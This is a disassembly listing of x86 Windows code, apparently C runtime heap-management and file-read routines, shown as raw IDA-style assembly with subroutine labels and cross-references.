loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A9C0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A9B0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27A0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A9B0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A9B0, 0
		jnz	short loc_41E9F6
		mov	off_43A9B0, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A9B4, 0
		jnz	short loc_41EA1B
		mov	off_43A9B4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A9B4
		mov	[esi+4], eax
		mov	off_43A9B4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 289065Ch


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A9B0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2790000h


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 289065Ch
		cmp	off_43C9D0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C9D0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A9B0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DCFE4
		nop
		call	near ptr 2790000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A9C0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A9B4
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 289065Ch
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB9D4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A9B4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A9B0
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB9D4
		cmp	dword_4DB9D4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C9D0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C9D0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C9D0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A9B0
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	near ptr 2890791h
		nop
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C9D0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C9D0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DCCA0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43D030


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DCDA0
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DCCA0h[eax*4]
